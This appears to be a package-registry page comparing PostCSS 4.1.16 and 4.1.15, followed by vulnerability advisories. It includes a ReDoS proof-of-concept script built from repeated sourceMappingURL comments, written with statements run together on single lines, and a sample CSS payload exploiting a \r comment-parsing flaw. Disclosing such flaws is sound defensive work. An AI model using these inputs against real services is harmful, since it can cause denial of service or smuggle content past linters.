PostCSS is a tool for transforming CSS with JavaScript plugins, and versions 4.1.16 and 4.1.15 are very similar. Both versions share the same core dependencies: js-base64 for Base64 encoding, source-map for generating source maps, and es6-promise for ES6 Promise support. The developer dependencies also remain identical, including tools like Chai, Mocha, and Sinon for testing, Gulp for task automation, Babel for transpiling JavaScript, and ESLint for linting, alongside various Gulp plugins for specific tasks like JSON editing, running shell commands and concatenating with sourcemaps.
The key difference between these two versions lies in their release timestamps. Version 4.1.16 was published on July 7, 2015, at 18:56:15 UTC, while version 4.1.15 was released earlier the same day at 15:32:29 UTC. This suggests that 4.1.16 likely includes minor bug fixes or very small improvements over 4.1.15.
For developers considering using PostCSS, both versions offer a stable foundation for CSS transformation. Because the dependencies are identical, upgrading from 4.1.15 to 4.1.16 should be a straightforward process with minimal risk of breaking changes. PostCSS empowersdevelopers to enhance CSS workflows with custom plugins, supports modern CSS features, and automates tasks like linting and minification.
All the vulnerabilities related to the version 4.1.16 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.